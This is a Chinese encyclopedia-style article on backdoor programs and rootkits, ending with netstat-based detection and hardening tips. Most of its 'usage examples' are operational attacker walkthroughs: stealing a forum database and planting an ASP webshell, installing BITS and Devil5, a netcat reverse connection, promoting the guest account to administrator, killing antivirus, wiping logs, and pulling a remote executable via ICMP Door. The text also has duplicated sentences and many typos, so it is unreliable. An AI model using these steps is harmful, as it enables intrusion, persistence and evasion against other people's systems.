后门程序
目录
后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。后程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其他电脑。后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还 能挫败系统上各种增强的安全设置。后门是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,你当输入特定的密码时,你就能以管理员的权限来存取系统。后门能相互关联,而且这个 技术被许多黑客所使用。例如,黑客可能使用密码破解一个或多个账号密码,黑客可能会建立一个或多个账号。一个黑客可以存取这个系统,黑客可能使用一些 技术或利用系统的某个漏洞来提升权限。黑客可能使用一些技术或利用系统的某个漏洞庭湖来提升权限。黑客可能会对系统的配置文件进行小部分的修改,以降低系统的防卫性能。也可能会安装一个木马程序,使系统打开一个安全漏洞,以利于黑客完全掌握系统。
1. 必须以某种方式与其他终端节点相连——由于后门的利用都是从其他节点进行访问,因此必须与目标机使用双绞线、光纤维、串/并口、蓝牙、红外等设备在物理信号上有所连接才可以对端口进行访问。只有访问成功,双方才可以进行信号交流,攻击方才有机会进行入侵。
2. 目标机默认开放的可供外界访问的端口必须在一个以上——因为一台默认无任何端口开放的机器是无法连接通信的,而如果开放着的端口外界无法访问,则同样没有办法进行入侵。
3. 目标机存在程序设计或人为疏忽,导致攻击者能以权限较高的身份执行程序。并不是任何一个权限的帐号都能够被利用的,只有权限达到操作系统一定要求的才允许执行修改注册表,修改log记录等相关修改。
以上三条要求对于一台普通的联入internet的电脑来说都是很容易满足的。上网的电脑用pppoe、ppp等方式与网络相连,且默认打开多个端口,至于操作系统的bug以及人为疏忽则更始屡见不鲜了——这就是说,我们平时使用的任何一台电脑都存在着被放置后门的可能,因此有必要保持警惕及作好相关防御措施。
后门程序可以按照很多方式来分类,标准不同自然分类就不同,为了便于大家理解,我们从技术方面来考虑后门程序的分类方法:
此类后门程序一般都是服务器上正常的web服务来构造自己的连接方式,比如现在非常流行的ASP、cgi脚本后门等。
海阳顶端
ASP木马
这是ASP脚本方面流传非常广的一个脚本后门了,在经过几次大的改革后,推出了“海阳顶端ASP木马XP版”、“海阳顶端ASP木马红粉佳人版”等功能强大、使用方便的后门。
类型:网页木马
使用范围:支持ASP、WEB访问
隐蔽程序:★★★★☆
使用难度:★☆☆☆☆
危害程序:★★★☆☆
查杀难度:★★★☆☆
现在的服务器系统配置都相对安全,公开的系统漏洞存在的机会很少,于是脚本方面的漏洞就开始火起来。首先我们通过某种途径获得一个服务器的页面权限(比如利用论坛上传达室类型未严格设置、SQL注入后获得ASP系统的上传权限、对已知物理路径的服务器上传特定程序),然后我们可以通过简单的上传ASP程序或者是直接复制海阳项端的代码,然后通过WEB访问这个程序,就能很方便地查阅服务器上的资料了。
运用举例
leadbbs2.77曾经风靡网络,它是个很典型的ASP论坛,屏蔽了很多可以SQL注入的寺方,但是很多傻瓜级别的网络管理员总是喜欢默认安装,然后启用论坛,我们只需要很简单地在IE中输入:WWW。***。COM/BBS/DATA/LEADBBS。MDB就能够直接下载该论坛的数据库了,而且没有MD5加密哦!,我们直接找到管理员的账户和密码,然后登录论坛,到管理界面将论坛的“联系我们”、“帮助”等ASP文件替换成我们的海阳项端代码,然后执行GUEST权限的CMD命令,方便的上传/下载将定程序、远程执行程序等,这样一个隐藏的后门就建好了!取得服务器的SYSTEM权限就看自己了。
首先我们来简单解释一下什么是典型的线程插入后门:这种后门在运行时没有进程,所有网络操作均播入到其他应用程序的进程中完成。也就是说,即使受控制端安装的防火墙拥有“应用程序访问权限”的功能,也不能对这样的后门进行有效的警告和拦截,也就使对方的防火墙形同虚设了!因为对它的查杀比较困难,这种后门本身的功能比较强大,是“居中家旅行、入侵攻击”的必备品哦!
这类的典范就是国内提倡网络共享的小榕的BITS。这类的典范就是国内提倡网络共享的小榕的BITS了,从它的推出以来,各类安全工具下载园地里BITS就高居榜首。
BITS
类型:系统后门
使用范围:wind200/xp/2003
隐蔽程序:★★★★☆
使用难度:★★★☆☆
危害程序:★★★★☆
查杀难度:★★★★☆
BITS其实是Background Intelligent Transfer Servicer的缩写,可以在不知不觉中实现另一种意义的典型的线程插入后门,有以下特点:进程管理器中看不到;平时没有端口,只是在系统中充当卧底的角色;提供正向连接和反向连接两种功能;仅适合用于windows 200/xp/2003。
运用举例
首先我们用3389登录上肉鸡,确定你有SYSTEM的权限,将BITS.DLL拷贝到服务器上,执行CMD命令:rundll32.exe bits.dll,install
这样就激活了BIST,程序用这个特征的字符来辨认使用者,也就相当于你的密码了,然后卸载:rundll32.exe BITS.dll,Uninstall
这是最简单的使用,这个后门除了隐蔽性好外,还有两大特点是非常 值得借鉴的:端口复用和正反向连接。虽然很多朋友经常听到这两个名词,但并不了解它们,端口复用就是利用系统正常的TCP端口通讯和控制,比如80、139等,这样的后门有个非常 大的好处就是非常 隐蔽,不用自己开端口也不会暴露自己的访问,因为通讯本身就是系统的正常访问!另一个是反向连接,这个很常 见,也是后门中一个经典思路,因为从服务器上主动方问外边是不被禁止的,很多很历害的防火墙就怕这点。
BITS的正向连接很简单,大家可以参考它的README,这种方式在服务器没有防火墙等措施的时候很管用,可以方便地连接,但是遇到有防火墙这样的方式就不灵了,得使用下面的反向连接方式:
在本地使用NC监听(如:nc -l -p 1234)
用NC连接目标主机的任何一个防火墙允许的TCP端口(80/139/445……)
输入激活命令: [email=hkfx@dancewithdolphin[rxell]:1.1.1.1:2222]hkfx@dancewithdolphin[rxell]:1.1.1.1:2222[/email]
目标主机的CMD将会出现NC监听的端口2222,这样就实现了绕过防火墙的功能了。
devil5(魔鬼5号)
类型:系统后门
使用范围:win200/xp/2003
隐蔽程度:★★★★☆
使用难度:★★☆☆☆
危害程序:★★★★☆
查杀难度:★★★☆☆
同BITS一样,Devil5也是线程插入式的后门,和BITS不同的是它可以很方便的在GUI界面下按照自己的使用习惯定制端口和需要插入的线程,适合对系统有一定了解的使用都使用,由于是自定义插入线程,所以它更难被查杀。
运用举例
道德使用它自带的配置程序EDITDEVIL5.EXE对后门进行常规的配置,包括控制端口、插入线程、连接密码、时间间隔等方面关键点是对插入线程的定制,一般设置成系统自带的SVCHOST,然后运行后门就可以控制了。
我们用TELNET连接上去,连接的格式是:TELNET *** 定制的端口,它和其他后门不同之处在于连接后没有提示的界面,每次执行程序也是分开的,必须要每次都有输入密码,比如我们丢掉了服务器和管账户,可以激活GUEST后再将GUEST加到管理员权限,记得每次执行命令后加上“>密码”就可以了:net localgroup administrators guest /add >hkfx,然后你又可以控制服务器了。
很明显示,同榕哥的BITS相比,DEVIL5有一些缺陷:不能通过系统自带端口通讯、执行命令比较麻烦,需要每次输入密码而且不回显示输入内容,很容易出错。但是,它有自己的优势:插入线程可以自已定制,比如设置IE的线程为插入的目标就比较难被查杀:自己提供了专门的查杀工具DELDEVIL5.exe,帮助防护者清理系统;而且它可以任意改名和绑定,使用灵活性上比BITS强。
所谓的“扩展”,是指在功能上有大的提升,比普通的单一功能的后门有很强的使用性,这种后门本身就相当于一个小的安全工具包,能实现非常多的常驻见安全功能,适合新手使用。
Wineggdroup
shell 类型:系统后门
使用范围:win2000/xp/2003
隐蔽程度:★★★★☆
使用难度:★★☆☆☆
危害程度:★★★★☆
查杀难度:★★★★☆
这个后门是扩展后门中很有代表性的一个,功能这全面让人叹为观止,它能实现如下比较有特色的功能:进程管理,可查看,杀进程(支持用进程名或PID来杀进程);注册表管现(查看,删除,增加等功能);服务管理(停止,启动,枚举,配置,删除服务等功能)端口到程序关联功能(fport);系统重启,关电源,注销等功能(reboot,poweroff,shutdown,logoff);嗅探密码功能;安装终端,修改终端端口功能;端口重定向功能(多线程,并且可限制连接者IP);HTTP服务功能(多线程,并且可限制连接者IP);Socd5代理功能(支持两种不同方式验证,可限制连接者IP);克隆账号,检测克隆账户功能(clone,checkclone);加强了的FindpassWord功能(可以得到所有登录用户,包括使用克隆账户远程登录用户密码);HTTP代理(完全匿名,支持oicq、 MSN、mirc等程序);其他辅助功能,http下载,删除日志,系统信息,恢复常用关联,枚举系统账户等。
当网络上刚推出这个后门的时候,非常多的人用它来替换自己原来使用的后门,一时间各处赞扬之声迭起,但多为一些普通的打捞手的心声,其实它和“后门”的原始定义是有出入的:一旦你需要实现越多的功能,那你的程序在执行、隐藏、稳定等方面就需要考虑非常多的问题,一个疏忽就会导致全盘皆败,所以不建议将此后门用在需要非常隐蔽的地方。
运用举例
在安装后门前,需要使用它自带的EditServer.exe程序对服务端进行非常详细的配置,从10个具体配置中,包括了插入线程、密码、IP登录邮件通告等方面,不难看出它的功能是非常强大的,隐蔽性也很强,下面说几个在入侵中常用的功能,相信经常玩入侵的朋友一定能发现它的强大之处:
Fport:列出进程到端口的列表,用于发现系统中运行程序所对应的端口,可以用来检测常见的隐蔽的后门。
Reboot:重启系统,如果你上传并运行了其他后门程序,并需要重启机器以便让后门正常工作,那使用这个命令吧!
Shell:得到一个Dos Shell,这个不多讲了,直接得到服务器或者肉鸡上的cmd shell。
Pskill PID或程序名:用于杀掉特定的服务,比如杀毒软件或者是防火墙。
Execute程序:在后台中执行程序,比如sniffer等。[url=http://ip/]http://ip/[/url]文件名 保存文件名:下载程序,直接从网上down一个后门到服务器上。
Installterm端口:在没有安装终端服务的win2k服务版的系统中安装终端服务,重启系统后才生效,并可以自定义连接端口,比如不用3389而用其他端口。
StopService/StartService:停止或者启动某个系统服务,比如telnet。
CleanEvent:删除系统日志。
Redirect:TCP数据转发,这个功能是后门程序中非常出色的一个功能,可以通过某一端口的数据转发来控制内网的机器,在渗透入侵的时候非常管用!
EnumService:列举所有自动启动的服务的资料,比如后门、木马。
RegEdit:进入注册表操作模式,熟悉注册表的使用者终于在后门中找到了福音!
Findpassword:得到所有登录用户密码,比我们常用的findpass功能可强多了。
总体来讲,Wineggdrop shell是后门程序中很出彩的一个,它经过作者几次大规模的修改和升级,已经趋于稳定,功能的强大当然没得说,但是由于功能太强大,被查杀和怀疑是难以避免的,所以很多人在使用Wineggdrop shell一段时间后就发现肉鸡飞了,其实是很正常的事,我你出不用气馁,其实用很简单的方法就可以很好地提高它的隐蔽性,下文将有说明。
相对于Wineggdrop shell来说,独孤剑客的winshell在功能上就不那么全面了,但是winshell功能除了获得一个shell以外,只加入了一些重启、关闭服务器的命令,功能相对简单,但完全使用系统自带的cmd来执行命令。
Winshell和wolf这两者都是国内早期顶尖的后门程序,程序的编制无疑是非常经典的,新手学习时使用这两款后门一定能让你明白很多系统相关东西,了解很多入侵思路和方法。
和传统的木马程序类似的控制方法,采用“客记端/服务端”的控制方式,通过某种特定的访问方式来启动后门进而控制服务器。
传统的木马程序常常使用C/S构架,这样的构架很方便控制,也在一定程度上避免了“万能密码”的情况出现,对后门私有化有一定的贡献,这方面分类比较模糊,很多后门可以归结到此类中,比如较巧妙的就是ICMP Door了。
ICMP Door
类型:系统后门
使用范围:win2000/xp/2003
隐蔽程度:★★★★★
使用难度:★★★☆☆
危害程度:★★★★☆
查杀难度:★★★★★
这个后门利用ICMP通道进行通信,所以不开任何端口,只是利用系统本身的ICMP包进行控制安装成系统服务后,开机自动运行,可以穿透很多防火墙——很明显可以看出它的最大特点:不开任何端口~只通过ICMP控制!和上面任何一款后门程序相比,它的控制方式是很特殊的,连80端口都不用开放,不得不佩服务程序编制都在这方面独特的思维角度和眼光!
运用举例
这个后门其实用途最广的地方在于突破网关后对内网计算机的控制,因为很多机密数据都是放在内网计算机上的,而控制内网计算机并不是我们想到位的商业网络进行入侵检测,它的网络内部并不像我们常见的内网那样非常容易入侵和控制,因为该公司本身涉及到一些网络安全的服务,所以内网个人计算机的防护是很到位的,在尝试过很多后门后,最后ICMP Door帮我实现了成功的渗透内网。
首先使用icmpsrv.exe -install参数进行后门的安装,再使用icmpsend.exe IP进行控制,可以用:[http://xxx.xxx.xxx/admin.exe -hkfx.exe]方式下载文件,保存在[url=file://\system32]\system32[/url]目录下,文件名为hkfx.exe,程序名前的“-”不能省去,使用[pslist]还可以列出远程主机的进程名称和pid,再使用[pskill id]就可以杀进程了,同样,输入普通cmd命令,则远程主机也就执行了相关的命令。
这个后门是采用的c/s构架,必须要使用icmpsend才能激活服务器,但是他也有自己的先天不足:后门依靠ICMP进行通讯,现在的网络,经过冲击波的洗礼后,很少有服务器还接受ICMP包了,很多都屏蔽掉了它,所以用它来控制服务器不是一个好办法。
root kit
rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。
针对SunOS和Linux两种操作系统的rootkit最多。所有的rootkit基本上都是由几个独立的程序组成的,一个典型rootkit包括:
- 以太网嗅探器程程序,用于获得网络上传输的用户名和密码等信息。
- 特洛伊木马程序,例如:inetd或者login,为攻击者提供后门。
- 隐藏攻击者的目录和进程的程序,例如:ps、netstat、rshd和ls等。
- 可能还包括一些日志清理工具,例如:zap、zap2或者z2,攻击者使用这些清理工具删除wtmp、utmp和lastlog等日志文件中有关自己行踪的条目。
一些复杂的rootkit还可以向攻击者提供telnet、shell和finger等服务。
还包括一些用来清理/var/log和/var/adm目录中其它文件的一些脚本。
攻击者使用rootkit中的相关程序替代系统原来的ps、ls、netstat和df等程序,使系统管理员无法通过这些工具发现自己的踪迹。接着使用日志清理工具清理系统日志,消除自己的踪迹。然后,攻击者会经常地通过安装的后门进入系统查看嗅探器的日志,以发起其它的攻击。如果攻击者能够正确地安装rootkit并合理地清理了日志文件,系统管理员就会很难察觉系统已经被侵入,直到某一天其它系统的管理员和他联系或者嗅探器的日志把磁盘全部填满,他才会察觉已经大祸临头了。但是,大多数攻击者在清理系统日志时不是非常小心或者干脆把系统日志全部删除了事,警觉的系统管理员可以根据这些异常情况判断出系统被侵入。不过,在系统恢复和清理过程中,大多数常用的命令例如ps、df和ls已经不可信了。许多rootkit中有一个叫做FIX的程序,在安装rootkit之前,攻击者可以首先使用这个程序做一个系统二进制代码的快照,然后再安装替代程序。FIX能够根据原来的程序伪造替代程序的三个时间戳(atime、ctime、mtime)、date、permission、所属用户和所属用户组。如果攻击者能够准确地使用这些优秀的应用程序,并且在安装rootkit时行为谨慎,就会让系统管理员很难发现。
如何检测自己所使用的工具中是否含有后门呢?对于有一定经验的高手而言可以使用WSockExpert进行网络数据抓包,如果系统中没有WSockExpert,可以使用Netstat命令,用于显示协议统计信息和当前TCP/IP网络连接及端口占用信息。
- 关闭系统中所有可能连接网络的程序,然后只登录某个程序,打开命令提示符,输入并执行"Netstat -an>C:NET1.TXT"命令,将未运行木马前的网络连接状态保存在C:NET1.TXT之中,关闭程序。
- 运行“后门,配置并生成木马程序。
- 运行生成的QQ木马程序后重新登录程序。打开命令提示符,输入并执行"Netstat -an>C:NET2.TXT"命令,将运行木马后的网络连接保存在C:NET2.TXT中。
- 比较NET1.TXT和NET2.TXT我们会发现在NET2.TXT中多出了几个网络地址,而除了我们配置得到木马的连接地址外,其它就是后门了。
在用Netstat进行后门测试时要注意:Netstat并不能立即返回当前的网络连接状态,会有延迟,也就是说我们执行Netstat后看到的网络连接状态很可能是3秒钟以前的,不过这并不影响我们对后门的测试。
最后告诉大家,并不是所有的程序都能通过这种方式检测,比如扫描类工具,面对很多动态网络环境的操作,会造成多个变化的网络地址加入到程序中来。
首先,将不必要的服务一定关闭上,因为多一个端口就等于多给了攻击者一次尝试的机会,而那个不必要的服务,或许正是开门揖盗的罪魁祸首;
其次,选定适合的网络接口——例如如果你的mysql服务只针对本机,那么完全可以将接口只绑定到127.0.0.1的3306上,这样就避免了其他人外连的可能;
再次,对于公开对外的服务,一定需要及时打上相应的patch,犹如我在模拟攻击最开始中透露的一样——获得root权限那一步很多时候是用现成的漏洞找对应bug版本的服务软件的机器来有针对性攻击来实现的。因此记得开了什么服务,就需要随时关注那个服务器软件的bug信息,争取在第一时间升级到稳定版本。
最后,一旦攻击者进入,任何程序或文件都有可能被改写——上面的例子中我就用简单的shell来实现了掩藏——可能有人问,我直接把系统的文件正式替换掉如何呢? 那样效果可能没有我这样好(因为有的网管会使用chkrootkit等软件来检查系统文件是否已经发生了改变——而天缘上面的做法压根就没改变系统文件,所以效果会更好一些。)因此攻击一旦发生后,如果相应的命令没有backup干净版本的,那么推荐还是备份重要数据,然后重新安装系统比较适合了——虽然用find文件或许可以发现当天的文件,但是不见得攻击者的攻击是一次完成的,如果是几次完成的呢?或者另有伏笔呢?所以最好的确保方法就是backup资料数据,重新安装系统。从这点也可以看出平时backup的重要性和必要性来。
附件列表
故事内容仅供参考,如果您需要解决具体问题
(尤其在法律、医学等领域),建议您咨询相关领域专业人士。
